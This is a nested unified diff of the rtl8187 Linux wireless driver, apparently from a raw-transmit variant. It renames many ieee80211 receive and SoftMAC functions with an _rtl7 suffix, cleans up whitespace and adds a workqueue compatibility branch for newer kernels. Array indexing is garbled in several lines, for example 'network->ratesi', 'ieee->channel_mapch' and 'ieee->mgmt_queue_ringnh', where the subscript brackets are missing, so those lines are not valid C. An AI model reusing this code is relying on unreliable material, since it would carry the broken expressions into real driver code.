+ 	hdr = (struct ieee80211_hdr *) skb->data;
+@@ -674,7 +740,7 @@
+ 	// ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) &&
+ 	if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) {
+ 		int flen;
+-		struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr);
++		struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr);
+ 		IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag);
+ 
+ 		if (!frag_skb) {
+@@ -694,7 +760,7 @@
+ 			printk(KERN_WARNING "%s: host decrypted and "
+ 			       "reassembled frame did not fit skb\n",
+ 			       dev->name);
+-			ieee80211_frag_cache_invalidate(ieee, hdr);
++			ieee80211_frag_cache_invalidate_rtl7(ieee, hdr);
+ 			goto rx_dropped;
+ 		}
+ 
+@@ -722,19 +788,19 @@
+ 		 * delivered, so remove skb from fragment cache */
+ 		skb = frag_skb;
+ 		hdr = (struct ieee80211_hdr *) skb->data;
+-		ieee80211_frag_cache_invalidate(ieee, hdr);
++		ieee80211_frag_cache_invalidate_rtl7(ieee, hdr);
+ 	}
+ 
+ 	/* skb: hdr + (possible reassembled) full MSDU payload; possibly still
+ 	 * encrypted/authenticated */
+ 	if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) &&
+-	    ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt))
++	    ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt))
+ 		goto rx_dropped;
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+ 	if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) {
+ 		if (/*ieee->ieee802_1x &&*/
+-		    ieee80211_is_eapol_frame(ieee, skb)) {
++		    ieee80211_is_eapol_frame_rtl7(ieee, skb)) {
+ #ifdef CONFIG_IEEE80211_DEBUG
+ 			/* pass unencrypted EAPOL frames even if encryption is
+ 			 * configured */
+@@ -763,7 +829,7 @@
+ #endif
+ 
+ 	if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep &&
+-	    !ieee80211_is_eapol_frame(ieee, skb)) {
++	    !ieee80211_is_eapol_frame_rtl7(ieee, skb)) {
+ 		IEEE80211_DEBUG_DROP(
+ 			"dropped unencrypted RX data "
+ 			"frame from " MAC_FMT
+@@ -896,7 +962,7 @@
+ 
+ #define MGMT_FRAME_FIXED_PART_LENGTH		0x24
+ 
+-static inline int ieee80211_is_ofdm_rate(u8 rate)
++static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate)
+ {
+ 	switch (rate & ~IEEE80211_BASIC_RATE_MASK) {
+ 	case IEEE80211_OFDM_RATE_6MB:
+@@ -913,7 +979,7 @@
+ }
+ 
+ 
+-static inline int ieee80211_network_init(
++static inline int ieee80211_network_init_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct ieee80211_probe_response *beacon,
+ 	struct ieee80211_network *network,
+@@ -964,7 +1030,7 @@
+ 
+ 		switch (info_element->id) {
+ 		case MFIE_TYPE_SSID:
+-			if (ieee80211_is_empty_essid(info_element->data,
++			if (ieee80211_is_empty_essid_rtl7(info_element->data,
+ 						     info_element->len)) {
+ 				network->flags |= NETWORK_EMPTY_ESSID;
+ 				break;
+@@ -991,7 +1057,7 @@
+ #ifdef CONFIG_IEEE80211_DEBUG
+ 				p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->ratesi);
+ #endif
+-				if (ieee80211_is_ofdm_rate(info_element->datai)) {
++				if (ieee80211_is_ofdm_rate_rtl7(info_element->datai)) {
+ 					network->flags |= NETWORK_HAS_OFDM;
+ 					if (info_element->datai &
+ 					    IEEE80211_BASIC_RATE_MASK)
+@@ -1014,7 +1080,7 @@
+ #ifdef CONFIG_IEEE80211_DEBUG
+ 				p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->ratesi);
+ #endif
+-				if (ieee80211_is_ofdm_rate(info_element->datai)) {
++				if (ieee80211_is_ofdm_rate_rtl7(info_element->datai)) {
+ 					network->flags |= NETWORK_HAS_OFDM;
+ 					if (info_element->datai &
+ 					    IEEE80211_BASIC_RATE_MASK)
+@@ -1147,7 +1213,7 @@
+ 		return 1;
+ 	}
+ 
+-	if (ieee80211_is_empty_essid(network->ssid, network->ssid_len))
++	if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len))
+ 		network->flags |= NETWORK_EMPTY_ESSID;
+ 
+ 	memcpy(&network->stats, stats, sizeof(network->stats));
+@@ -1155,7 +1221,7 @@
+ 	return 0;
+ }
+ 
+-static inline int is_same_network(struct ieee80211_network *src,
++static inline int is_same_network_rtl7(struct ieee80211_network *src,
+ 				  struct ieee80211_network *dst)
+ {
+ 	/* A network is only a duplicate if the channel, BSSID, ESSID
+@@ -1172,7 +1238,7 @@
+ 		(dst->capability & WLAN_CAPABILITY_BSS)));
+ }
+ 
+-static inline void update_network(struct ieee80211_network *dst,
++static inline void update_network_rtl7(struct ieee80211_network *dst,
+ 				  struct ieee80211_network *src)
+ {
+ 	memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats));
+@@ -1204,7 +1270,7 @@
+ 	/* dst->last_associate is not overwritten */
+ }
+ 
+-static inline void ieee80211_process_probe_response(
++static inline void ieee80211_process_probe_response_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct ieee80211_probe_response *beacon,
+ 	struct ieee80211_rx_stats *stats)
+@@ -1239,7 +1305,7 @@
+ 		(beacon->capability & (1<<0x1)) ? '1' : '0',
+ 		(beacon->capability & (1<<0x0)) ? '1' : '0');
+ 
+-	if (ieee80211_network_init(ieee, beacon, &network, stats)) {
++	if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) {
+ 		IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n",
+ 				     escape_essid(info_element->data,
+ 						  info_element->len),
+@@ -1262,11 +1328,11 @@
+ 
+ 	spin_lock_irqsave(&ieee->lock, flags);
+ 	
+-	if(is_same_network(&ieee->current_network, &network))
+-		update_network(&ieee->current_network, &network);
++	if(is_same_network_rtl7(&ieee->current_network, &network))
++		update_network_rtl7(&ieee->current_network, &network);
+ 		
+ 	list_for_each_entry(target, &ieee->network_list, list) {
+-		if (is_same_network(target, &network))
++		if (is_same_network_rtl7(target, &network))
+ 			break;
+ 
+ 		if ((oldest == NULL) ||
+@@ -1306,7 +1372,7 @@
+ 		memcpy(target, &network, sizeof(*target));
+ 		list_add_tail(&target->list, &ieee->network_list);
+ 		if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)
+-			ieee80211_softmac_new_net(ieee,&network); 
++			ieee80211_softmac_new_net_rtl7(ieee,&network); 
+ 	} else {
+ 		IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n",
+ 				     escape_essid(target->ssid,
+@@ -1321,15 +1387,15 @@
+ 		 * net and call the new_net handler
+ 		 */
+ 		renew = !time_after(target->last_scanned + ieee->scan_age, jiffies);
+-		update_network(target, &network);
++		update_network_rtl7(target, &network);
+ 		if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE))
+-			ieee80211_softmac_new_net(ieee,&network); 
++			ieee80211_softmac_new_net_rtl7(ieee,&network); 
+ 	}
+ 
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ }
+ 
+-void ieee80211_rx_mgt(struct ieee80211_device *ieee,
++void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee,
+ 		      struct ieee80211_hdr *header,
+ 		      struct ieee80211_rx_stats *stats)
+ {
+@@ -1339,7 +1405,7 @@
+ 		IEEE80211_DEBUG_MGMT("received BEACON (%d)\n",
+ 				     WLAN_FC_GET_STYPE(header->frame_ctl));
+ 		IEEE80211_DEBUG_SCAN("Beacon\n");
+-		ieee80211_process_probe_response(
++		ieee80211_process_probe_response_rtl7(
+ 			ieee, (struct ieee80211_probe_response *)header, stats);
+ 		break;
+ 		
+@@ -1347,7 +1413,7 @@
+ 		IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n",
+ 				     WLAN_FC_GET_STYPE(header->frame_ctl));
+ 		IEEE80211_DEBUG_SCAN("Probe response\n");
+-		ieee80211_process_probe_response(
++		ieee80211_process_probe_response_rtl7(
+ 			ieee, (struct ieee80211_probe_response *)header, stats);
+ 		break;
+ 
+@@ -1355,5 +1421,5 @@
+ }
+ 
+ 
+-EXPORT_SYMBOL(ieee80211_rx_mgt);
+-EXPORT_SYMBOL(ieee80211_rx);
++EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7);
++EXPORT_SYMBOL(ieee80211_rx_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c
+--- rtl8187_orig/ieee80211/ieee80211_softmac.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c	2007-06-21 23:51:28.000000000 +0200
+@@ -1,14 +1,14 @@
+ /* IEEE 802.11 SoftMAC layer
+  * Copyright (c) 2005 Andrea Merello <andreamrl@tiscali.it>
+  *
+- * Mostly extracted from the rtl8180-sa2400 driver for the 
++ * Mostly extracted from the rtl8180-sa2400 driver for the
+  * in-kernel generic ieee802.11 stack.
+  *
+  * Few lines might be stolen from other part of the ieee80211
+  * stack. Copyright who own it's copyright
+  *
+  * WPA code stolen from the ipw2200 driver.
+- * Copyright who own it's copyright. 
++ * Copyright who own it's copyright.
+  *
+  * released under the GPL
+  */
+@@ -20,12 +20,12 @@
+ #include <linux/delay.h>
+ #include <linux/version.h>
+ 
+-short ieee80211_is_54g(struct ieee80211_network net)
++short ieee80211_is_54g_rtl7(struct ieee80211_network net)
+ {
+ 	return ((net.rates_ex_len > 0) || (net.rates_len > 4));
+ }
+ 
+-short ieee80211_is_shortslot(struct ieee80211_network net)
++short ieee80211_is_shortslot_rtl7(struct ieee80211_network net)
+ {
+ 	return (net.capability & WLAN_CAPABILITY_SHORT_SLOT);
+ }
+@@ -34,28 +34,28 @@
+  * tag and the EXTENDED RATE MFIE tag if needed.
+  * It encludes two bytes per tag for the tag itself and its len
+  */
+-unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee)
++unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned int rate_len = 0;
+-	
++
+ 	if (ieee->modulation & IEEE80211_CCK_MODULATION)
+ 		rate_len = IEEE80211_CCK_RATE_LEN + 2;
+-		
++
+ 	if (ieee->modulation & IEEE80211_OFDM_MODULATION)
+-		
++
+ 		rate_len += IEEE80211_OFDM_RATE_LEN + 2;
+-	
++
+ 	return rate_len;
+ }
+ 
+-/* pleace the MFIE rate, tag to the memory (double) poined. 
++/* pleace the MFIE rate, tag to the memory (double) poined.
+  * Then it updates the pointer so that
+  * it points after the new MFIE tag added.
+- */  
+-void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p)
++ */
++void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p)
+ {
+-	u8 *tag = *tag_p; 
+-	
++	u8 *tag = *tag_p;
++
+ 	if (ieee->modulation & IEEE80211_CCK_MODULATION){
+ 		*tag++ = MFIE_TYPE_RATES;
+ 		*tag++ = 4;
+@@ -64,17 +64,17 @@
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB;
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB;
+ 	}
+-	
++
+ 	/* We may add an option for custom rates that specific HW might support */
+ 	*tag_p = tag;
+ }
+ 
+-void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p)
+-{	
+-	u8 *tag = *tag_p; 
+-	
++void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p)
++{
++	u8 *tag = *tag_p;
++
+ 		if (ieee->modulation & IEEE80211_OFDM_MODULATION){
+-		
++
+ 		*tag++ = MFIE_TYPE_RATES_EX;
+ 		*tag++ = 8;
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB;
+@@ -85,73 +85,73 @@
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB;
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB;
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB;
+-		
++
+ 	}
+-	
++
+ 	/* We may add an option for custom rates that specific HW might support */
+ 	*tag_p = tag;
+ }
+ 
+-void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb)
++void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb)
+ {
+ 	int nh;
+ 	nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM;
+-			
++
+ /*
+  * if the queue is full but we have newer frames then
+  * just overwrites the oldest.
+- *	
++ *
+  * if (nh == ieee->mgmt_queue_tail)
+  *		return -1;
+- */		
++ */
+ 	ieee->mgmt_queue_head = nh;
+ 	ieee->mgmt_queue_ringnh = skb;
+-	
++
+ 	//return 0;
+ }
+ 
+-struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee)
++struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *ret;
+-	
++
+ 	if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head)
+ 		return NULL;
+-		
++
+ 	ret = ieee->mgmt_queue_ringieee->mgmt_queue_tail;
+-	
+-	ieee->mgmt_queue_tail = 
++
++	ieee->mgmt_queue_tail =
+ 		(ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM;
+-	
++
+ 	return ret;
+ }
+ 
+-void init_mgmt_queue(struct ieee80211_device *ieee)
++void init_mgmt_queue_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0;
+ }
+ 
+ 
+-void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl);
++void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl);
+ 
+-inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee)
++inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee)
+ {
+ 	unsigned long flags;
+ 	short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE;
+ 	struct ieee80211_hdr_3addr  *header=
+ 		(struct ieee80211_hdr_3addr  *) skb->data;
+-	
+-	
++
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	/* called with 2nd param 0, no mgmt lock required */
+-	ieee80211_sta_wakeup(ieee,0);
+-		
++	ieee80211_sta_wakeup_rtl7(ieee,0);
++
+ 	if(single){
+-		
++
+ 		if(ieee->queue_stop){
+-			
+-			enqueue_mgmt(ieee,skb);
+-		
++
++			enqueue_mgmt_rtl7(ieee,skb);
++
+ 		}else{
+ 			header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+ 
+@@ -159,119 +159,119 @@
+ 				ieee->seq_ctrl = 0;
+ 			else
+ 				ieee->seq_ctrl++;
+-			
++
+ 			/* avoid watchdog triggers */
+ 			ieee->dev->trans_start = jiffies;
+ 			ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate);
+ 		}
+-		
++
+ 		spin_unlock_irqrestore(&ieee->lock, flags);
+ 	}else{
+ 		spin_unlock_irqrestore(&ieee->lock, flags);
+ 		spin_lock_irqsave(&ieee->mgmt_tx_lock, flags);
+-	
++
+ 		header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+-	
++
+ 		if (ieee->seq_ctrl == 0xFFF)
+ 			ieee->seq_ctrl = 0;
+ 		else
+ 			ieee->seq_ctrl++;
+-		
++
+ 		ieee->softmac_hard_start_xmit(skb,ieee->dev);
+-		
++
+ 		spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags);
+ 	}
+ }
+ 
+ 
+-inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee)
++inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee)
+ {
+-	
++
+ 	short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE;
+ 	struct ieee80211_hdr_3addr  *header =
+ 		(struct ieee80211_hdr_3addr  *) skb->data;
+-	
+-	
++
++
+ 	if(single){
+-		
++
+ 		header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+ 
+ 		if (ieee->seq_ctrl == 0xFFF)
+ 			ieee->seq_ctrl = 0;
+ 		else
+ 			ieee->seq_ctrl++;
+-			
++
+ 		/* avoid watchdog triggers */
+ 		ieee->dev->trans_start = jiffies;
+ 		ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate);
+-	
++
+ 	}else{
+-		
++
+ 		header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+-	
++
+ 		if (ieee->seq_ctrl == 0xFFF)
+ 			ieee->seq_ctrl = 0;
+ 		else
+ 			ieee->seq_ctrl++;
+ 
+ 		ieee->softmac_hard_start_xmit(skb,ieee->dev);
+-		
++
+ 	}
+ }
+ 
+-inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee)
++inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned int len,rate_len;
+ 	u8 *tag;
+ 	struct sk_buff *skb;
+ 	struct ieee80211_probe_request *req;
+-	
++
+ 	len = ieee->current_network.ssid_len;
+-	
+-	rate_len = ieee80211_MFIE_rate_len(ieee);
+-	
++
++	rate_len = ieee80211_MFIE_rate_len_rtl7(ieee);
++
+ 	skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) +
+ 			    2 + len + rate_len);
+-	
+-	if (!skb) 
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request));
+ 	req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ);
+-	req->header.duration_id = 0; //FIXME: is this OK ? 
+-	
++	req->header.duration_id = 0; //FIXME: is this OK ?
++
+ 	memset(req->header.addr1, 0xff, ETH_ALEN);
+ 	memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memset(req->header.addr3, 0xff, ETH_ALEN);
+-	
++
+ 	tag = (u8 *) skb_put(skb,len+2+rate_len);
+-	
++
+ 	*tag++ = MFIE_TYPE_SSID;
+ 	*tag++ = len;
+ 	memcpy(tag, ieee->current_network.ssid, len);
+ 	tag += len;
+-	
+-	ieee80211_MFIE_Brate(ieee,&tag);
+-	ieee80211_MFIE_Grate(ieee,&tag);
++
++	ieee80211_MFIE_Brate_rtl7(ieee,&tag);
++	ieee80211_MFIE_Grate_rtl7(ieee,&tag);
+ 	return skb;
+ }
+ 
+-struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee);
+-void ieee80211_send_beacon(struct ieee80211_device *ieee)
++struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee);
++void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *skb;
+-	
+-	unsigned long flags;	
+-	
+-	skb = ieee80211_get_beacon_(ieee);
++
++	unsigned long flags;
++
++	skb = ieee80211_get_beacon__rtl7(ieee);
+ 	if (skb){
+-		softmac_mgmt_xmit(skb, ieee);
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->softmac_stats.tx_beacons++;
+ 	}
+ 
+-	ieee->beacon_timer.expires = jiffies + 
++	ieee->beacon_timer.expires = jiffies +
+ 		(MSECS( ieee->current_network.beacon_interval -5));
+-	
++
+ 	spin_lock_irqsave(&ieee->beacon_lock,flags);
+ 	if(ieee->beacon_txing)
+ 		add_timer(&ieee->beacon_timer);
+@@ -279,57 +279,57 @@
+ }
+ 
+ 
+-void ieee80211_send_beacon_cb(unsigned long _ieee)
++void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee)
+ {
+ 	struct ieee80211_device *ieee =
+ 		(struct ieee80211_device *) _ieee;
+-	ieee80211_send_beacon(ieee);
++	ieee80211_send_beacon_rtl7(ieee);
+ }
+ 
+ 
+-void ieee80211_send_probe(struct ieee80211_device *ieee)
++void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *skb;
+-	
+-	skb = ieee80211_probe_req(ieee);
++
++	skb = ieee80211_probe_req_rtl7(ieee);
+ 	if (skb){
+-		softmac_mgmt_xmit(skb, ieee);
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->softmac_stats.tx_probe_rq++;
+ 	}
+ }
+ 
+-void ieee80211_send_probe_requests(struct ieee80211_device *ieee)
++void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){
+-		ieee80211_send_probe(ieee);
+-		ieee80211_send_probe(ieee);
++		ieee80211_send_probe_rtl7(ieee);
++		ieee80211_send_probe_rtl7(ieee);
+ 	}
+ }
+ 
+ /* this performs syncro scan blocking the caller until all channels
+- * in the allowed channel map has been checked. 
++ * in the allowed channel map has been checked.
+  */
+-void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee)
++void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee)
+ {
+ 	short ch = 0;
+-        
++
+ 	down(&ieee->scan_sem);
+-	
++
+ 	while(1)
+ 	{
+-		
++
+ 		do{
+ 			ch++;
+-			if (ch > MAX_CHANNEL_NUMBER) 
++			if (ch > MAX_CHANNEL_NUMBER)
+ 				goto out; /* scan completed */
+-				
++
+ 		}while(!ieee->channel_mapch);
+-	
++
+ 		/* this fuction can be called in two situations
+ 		 * 1- We have switched to ad-hoc mode and we are
+ 		 *    performing a complete syncro scan before conclude
+-		 *    there are no interesting cell and to create a 
+-		 *    new one. In this case the link state is 
++		 *    there are no interesting cell and to create a
++		 *    new one. In this case the link state is
+ 		 *    IEEE80211_NOLINK until we found an interesting cell.
+ 		 *    If so the ieee8021_new_net, called by the RX path
+ 		 *    will set the state to IEEE80211_LINKED, so we stop
+@@ -342,24 +342,24 @@
+ 		 *    not filter RX frames and the channel is changing.
+ 		 * So the only situation in witch are interested is to check
+ 		 * if the state become LINKED because of the #1 situation
+-		 */    
+-		    
++		 */
++
+ 		if (ieee->state == IEEE80211_LINKED)
+ 			goto out;
+-		
++
+ 		ieee->set_chan(ieee->dev, ch);
+-		
+-		ieee80211_send_probe_requests(ieee);
+-		
++
++		ieee80211_send_probe_requests_rtl7(ieee);
++
+ 		/* this prevent excessive time wait when we
+ 		 * need to wait for a syncro scan to end..
+-		 */  		
++		 */
+ 		if (ieee->sync_scan_hurryup)
+ 			goto out;
+ 
+ 
+ 		msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME);
+-		
++
+ 	}
+ out:
+ 	ieee->sync_scan_hurryup = 0;
+@@ -370,43 +370,49 @@
+ void ieee80211_softmac_scan(struct ieee80211_device *ieee)
+ {
+ 	short watchdog = 0;
+-	
++
+ 	do{
+-		ieee->current_network.channel = 
++		ieee->current_network.channel =
+ 			(ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER;
+-		if (watchdog++ > MAX_CHANNEL_NUMBER) 
++		if (watchdog++ > MAX_CHANNEL_NUMBER)
+ 				return; /* no good chans */
+-				
++
+ 	}while(!ieee->channel_mapieee->current_network.channel);
+-		
++
+ 
+ 	schedule_work(&ieee->softmac_scan_wq);
+ }
+ #endif
+ 
+-void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee)
+-{	
+-	down(&ieee->scan_sem);
+-	
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work)
++{
++	struct delayed_work *dwork = container_of(work, struct delayed_work, work);
++	struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq);
++#else
++void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
+ 	short watchdog = 0;
+-	
++	down(&ieee->scan_sem);
++
+ 	do{
+-		ieee->current_network.channel = 
++		ieee->current_network.channel =
+ 			(ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER;
+-		if (watchdog++ > MAX_CHANNEL_NUMBER) 
++		if (watchdog++ > MAX_CHANNEL_NUMBER)
+ 				goto out; /* no good chans */
+-				
++
+ 	}while(!ieee->channel_mapieee->current_network.channel);
+-	
++
+ 	if (ieee->scanning == 0 )
+ 		goto out;
+-	
++
+ 	ieee->set_chan(ieee->dev, ieee->current_network.channel);
+-	ieee80211_send_probe_requests(ieee);
++	ieee80211_send_probe_requests_rtl7(ieee);
+ 
+-#if 0	
++#if 0
+ 	ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME);
+-	if (ieee->scanning == 1) 
++	if (ieee->scanning == 1)
+ 		add_timer(&ieee->scan_timer);
+ #endif
+ 	queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME);
+@@ -419,7 +425,7 @@
+ {
+ 	unsigned long flags;
+ 	struct ieee80211_device *ieee = (struct ieee80211_device *)_dev;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+ 	ieee80211_softmac_scan(ieee);
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+@@ -427,19 +433,19 @@
+ #endif
+ 
+ 
+-void ieee80211_beacons_start(struct ieee80211_device *ieee)
++void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee)
+ {
+-	unsigned long flags;	
++	unsigned long flags;
+ 
+ 	spin_lock_irqsave(&ieee->beacon_lock,flags);
+ 
+ 	ieee->beacon_txing = 1;
+-	ieee80211_send_beacon(ieee);
+-	
++	ieee80211_send_beacon_rtl7(ieee);
++
+ 	spin_unlock_irqrestore(&ieee->beacon_lock,flags);
+ }
+ 
+-void ieee80211_beacons_stop(struct ieee80211_device *ieee)
++void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned long flags;
+ 
+@@ -453,111 +459,111 @@
+ }
+ 
+ 
+-void ieee80211_stop_send_beacons(struct ieee80211_device *ieee)
++void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if(ieee->stop_send_beacons)
+ 		ieee->stop_send_beacons(ieee->dev);
+ 	if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS)
+-		ieee80211_beacons_stop(ieee);
++		ieee80211_beacons_stop_rtl7(ieee);
+ }
+ 
+ 
+-void ieee80211_start_send_beacons(struct ieee80211_device *ieee)
++void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if(ieee->start_send_beacons)
+ 		ieee->start_send_beacons(ieee->dev);
+ 	if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS)
+-		ieee80211_beacons_start(ieee); 
++		ieee80211_beacons_start_rtl7(ieee);
+ }
+ 
+ 
+-void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee)
++void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee)
+ {
+-//	unsigned long flags;	
+-	
++//	unsigned long flags;
++
+ 	//ieee->sync_scan_hurryup = 1;
+-	
++
+ 	down(&ieee->scan_sem);
+ //	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if (ieee->scanning == 1){
+ 		ieee->scanning = 0;
+ 		//del_timer_sync(&ieee->scan_timer);
+ 		cancel_delayed_work(&ieee->softmac_scan_wq);
+ 	}
+-	
++
+ //	spin_unlock_irqrestore(&ieee->lock, flags);
+ 	up(&ieee->scan_sem);
+ }
+ 
+-void ieee80211_stop_scan(struct ieee80211_device *ieee)
++void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (ieee->softmac_features & IEEE_SOFTMAC_SCAN)
+-		ieee80211_softmac_stop_scan(ieee);
++		ieee80211_softmac_stop_scan_rtl7(ieee);
+ 	else
+ 		ieee->stop_scan(ieee->dev);
+ }
+ 
+ /* called with ieee->lock held */
+-void ieee80211_start_scan(struct ieee80211_device *ieee)
++void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee)
+ {
+-	if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){	
++	if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){
+ 		if (ieee->scanning == 0){
+ 			ieee->scanning = 1;
+ 			//ieee80211_softmac_scan(ieee);
+-			queue_work(ieee->wq, &ieee->softmac_scan_wq);
++			queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0);
+ 		}
+ 	}else
+ 		ieee->start_scan(ieee->dev);
+-	
++
+ }
+ 
+ /* called with wx_sem held */
+-void ieee80211_start_scan_syncro(struct ieee80211_device *ieee)
++void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->sync_scan_hurryup = 0;
+-	
++
+ 	if (ieee->softmac_features & IEEE_SOFTMAC_SCAN)
+-		ieee80211_softmac_scan_syncro(ieee);
++		ieee80211_softmac_scan_syncro_rtl7(ieee);
+ 	else
+ 		ieee->scan_syncro(ieee->dev);
+-		
++
+ }
+ 
+-inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, 
++inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon,
